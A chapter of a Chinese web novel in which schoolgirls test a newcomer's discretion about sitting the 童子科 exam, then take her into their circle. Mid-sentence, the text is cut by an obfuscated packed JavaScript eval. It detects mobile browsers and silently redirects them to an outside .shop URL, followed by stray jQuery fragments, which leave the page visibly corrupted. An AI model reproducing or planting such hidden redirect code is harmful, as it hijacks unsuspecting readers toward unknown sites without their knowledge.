文趣网 > 其他小说 > 光明正大上朝去 > 17. 试探
    学堂外的柳树被风吹起,发出簌簌的声响。

    这股风一路到了学堂,将君如脸颊旁的碎发拂开,露出了她讶然的神色。

    君如看了看另外两人的神情,却无从判断程令仪这话的真假,只好状似无错地攥紧了衣袖。

    “是妹妹不好,惹了姐姐们不高兴了。只是程姐姐高看我了,哪里请得动夫子劳心教我呢?不过是侥幸听哥哥们上课,明白了几分道理,如今更是……唉,不过是殊途同归罢了。”

    “家里头打小就我一个姑娘家,伯父伯母也常常要外出领兵操练,难免是孤单了些。现今能和姐姐们在一块,我实在是高兴的,若是犯了什么忌讳,还请姐姐们教教我。”

    不过三两句话的功夫,君如就从要泪泣一般换成了笑模样,孺慕之情简直要溢于言表了。

    程令仪没料想到君如是这样的反应,急急咽下嘴里的羊肉馅包子,又不好再恶声恶气,眼神不自觉就看向了宋承宁。

    宋承宁将手里把玩着的果子放下,紧紧盯住了浑似羞怯的君如,心里隐隐有几分棋逢对手的亢奋,面上仍是带着端庄的笑。

    “孟妹妹别误会,令仪家里管束颇多,总让她去读女德女容,她是不胜其烦,这才过了些,还请你见谅一二。”

    见君如不自禁地露出欣喜之意,宋承宁又悠悠地说道:“要说进了学堂,又只有咱们几个人,日日朝夕相伴,情分自然会深起来的。三年后的童子科,也是要并肩的,孟家妹妹你说是不是?”

    这话听着宽和,却叫君如显见的踌躇起来。

    近些年来,姑娘考童子科已经不是什么值得宣扬的事情了,君如并不想在势单力薄的时候就激得那些老顽固们跳出来,因此本不事张扬,悄声去考也就是了。

    可襄城县主这番话是什么意思?早早就和那些人对起来不见得就有什么好处。

    更何况,屋里头这些人,程令仪的母族是孔家嫡系,另外两个更是皇亲!若发了什么事,人人都有依仗,孟家就不大够看了……

    “宋姐姐为我着想,我理应感念。”

    君如拿定了主意,先是看了看面前的几人,又状似为难地望向窗外的柳树。

    “只是我年岁小些,胆子也不大,怕连累了姐姐们,还是……”

    没把话说绝,可是打退堂鼓的意思传达得很分明,在座的都是有头脸的,想来不会太过为难自己。

    不想宋承宁几人对视一眼,竟都大大地松了一口气,转而大笑起来,只留下君如满面愕然。

    “君如妹妹你别担心,我们就是怕你跟之前那些个小姑娘一样,总拿学堂和童子科的事情出去传唱,惹了好些流言蜚语,麻烦的不得了,我们才出此下策来试一试你的。”

    说起之前那些个事,程令仪显见的是被烦得不轻,一边跟君如解释还一边直皱鼻子。

    宋承宁将膳食盒子都推到一边,扯着君如的衣袖往屋内正中去,几人一块儿席地围坐,说起了徐氏学堂方建起来时候的事儿。

    徐氏学堂这几年也来去了好些个姑娘,只是有些受不住整日念书的苦,有些是拿童子科当过家家来玩闹。

    这些人自己挥挥衣袖走得利落,倒把学堂的名声弄得不大好,许多不知徐太夫人底线的都不敢把自家女儿送过来,因此学堂到今日也就这么几个学生。

    “我们不是单对你这样子,你别放在心上。”

    程令仪倚在周贡熙的书案上,一条腿屈起来,边说边探头去看周贡熙的膳食盒子:“前边那两个,一个赛一个的能唱,多少人都误以为咱们学堂教的是些见不得光的东西,搅得好好的学堂比戏台班子还热闹。”

    宋承宁屈膝跪坐,点点头也接上了话:“程相公性子古板,听了这些话是气得不轻,把令仪押在屋子里头好一段时日,要不是令仪求得程大娘子做主,怕真是再来不了学堂了。”

    直到此时,君如攥着的袖子才慢慢从手里滑落下来,心里涌出了许多念头。

    听了宋承宁的话,君如下意识地朝程令仪那边看去。

    却见程令仪面色平静,仿佛什么也没有听到,还自如地从周贡熙的膳食盒子里挟了一筷子腌萝卜丝。

    略略思索了一二,君如也将那副两难落泪的模样收了回去,语气平和道:“所谓一朝被蛇咬,十年怕井绳。前边有过这样糟心的事情,姐姐们心里头戒备是人之常情,何况方才的话也很有分寸,并不曾冒犯于我,又何谈怪罪呢?”

    既然宋承宁她们把话摊开了说,那方才离开学堂的念头就不必算数了。童子科不是一条好走的路,有人同行,相互帮扶着,总比只身赶夜路的好。

    至于这些姑娘们的品行如何,一眼也看不出来的,念着时遇难得——姑且算是赌一把吧!以后还要再学堂待上好些年,那样小姑娘的派头是演不长久的

    “那要是我方才顺着你们的话头,说自己一定要考童子科、要大出风头呢?”君如问。

    “那我们会客客气气地待你,但不会让你知道这些事。”宋承宁指了指她们围坐的这块地方,“这间学堂里,有些话只能在几个人之间说。”她说完这句话,目光落在君如脸上,像是在确认她听懂了。君如确实听懂了,她点了点头,没有再追问。

    程令仪搁下筷子,像是坐久了不太舒服,换了个姿势,侧过身去靠在窗沿上。她一靠过去,窗外的柳枝便在风里微微偏了一下,像替她把那阵风让进了屋里。她也不躲,任由那阵风把她额前的碎发吹起来,眯着眼看向窗外:“学堂刚建起来那会儿,我娘说这边清净,让我来试试。我头一天来,看见承宁坐在窗边看书,一句话都不说,我心想:这人可真是闷葫芦。”

    “我那时候想的是:这人怎么坐不住。”宋承宁接话,语气平淡,像是在说一件今天早上刚发生的事,“你头一天来就踩了三次门槛,临走还把书袋落在窗台上。”

    程令仪“啧”了一声:“我那叫不拘小节。”

    君如看着她们,忽然觉得有些好笑。她想起自己方才那副小心翼翼的模样,觉得那些年在伯母家学会的察言观色,在这里好像用不上了。她低头看了看自己方才攥过衣袖的那只手,指尖还留着一点衣料被捏皱后又松开的余感,像一句话被仔细斟酌过之后,又被悄悄放下了。她学着宋承宁的样子,把散落在自己脚边的食盒推远一些,席地坐得更稳了些。

    程令仪歪着头打量她:“你方才那副要哭的样子,是真

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786030|208265||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的假的?”

    “我父亲回京那日,才真哭过一场。”君如说,“方才那不算哭。”

    程令仪点了点头,像是对这个答案很满意。宋承宁没有说话,只是把茶盏往她那边又推了推。君如端起茶盏,茶已经温了,不像方才宋承宁推过来时那样热,但入口正好。她低头喝了一口,窗外的风吹进来,这一次她没有攥衣袖,只是把茶盏握在手心里,等着那道风自己过去。

    周贡熙一直安静地坐在自己的位置上,像是已经习惯了这种热闹里的安静。他看了看被程令仪动过的膳食盒子,又看了看君如,没有说什么,只是把自己的竹篮挪了挪位置,像是不想让那道安静被打扰太久。他方才分明看见程令仪的手伸向他的食盒,但他只是把目光移开了,像那盒饭菜和他之间隔着一道不需要被跨过的界线。那道界线在他自己心里画好了,他只需要让别人知道它在,不需要让别人越过它。他也不会把它收回去,只是让它保持在一个既不太远又不太近的距离里,像他这个人一样——在场,但不占地方。他已经习惯了用这种方式存在,不需要解释,也不需要道歉。他只要把他的安静摆在桌面上,别人自然会知道那是他的。

    程令仪顺着君如的目光看了一眼周贡熙,然后若无其事地收回视线:“你别看他话少,他比我们都早来一年。学堂刚建起来那会儿,除了太夫人偶尔来讲课,就剩他一个人在窗边坐着。有一回我问他整天坐着干什么,他说‘在听风’。”程令仪说到这里,自己先笑了起来,“我当时心想:这人怕不是有病。”

    周贡熙没有抬头,但君如看见他的嘴角动了一下——极轻极短,像一道还没来得及展开就被他自己收住了的弧线。

    宋承宁说:“后来太夫人说,他在学堂里的时候,学堂比任何时候都安静。太夫人说那话的时候,没有笑,像是在说一件她认为很重要的事情。”她说完这句话,看了周贡熙一眼,像是要确认他还是原来的样子。周贡熙依然低着头,那副安静稳稳地落在他肩上,像是已经在那里住了很久,不打算搬走了。

    君如看着他,想起方才自己的那些小心翼翼,忽然觉得这间学堂里的人各有各的藏法——程令仪用聒噪藏住自己的不自在,宋承宁用端庄藏住自己的试探,而周贡熙用安静藏住了他不想让人看见的全部。她自己用什么藏,她还没有想好。但她已经开始觉得,这间学堂也许真的是一个可以不必一直藏着的地方。

    程令仪打了一个哈欠,像是午后的困意终于追上她了。“行了,该说的都说了,该吃的也吃了。”她站起身来,拍了拍裙摆上并不存在的灰尘,“下午还有骑射课呢,你带换的衣裳了吗?”

    “带了。”君如说。

    “那就好。”程令仪已经走到门口了,回头看了她一眼,“穿那件来。我想看看你骑马是什么样子。”

    她说完便跨出门去了,裙摆扫过门槛,带起一道极轻的风。宋承宁也站起来,对君如微微点了点头,像是最后一道确认,然后跟着程令仪走了出去。屋里只剩下君如和周贡熙。

    君如坐在地上,还没有立刻起身。她听见自己的呼吸落在那间刚刚热闹过的屋子里,像一枚还没有落定的回响,在空气里慢慢画着圈。。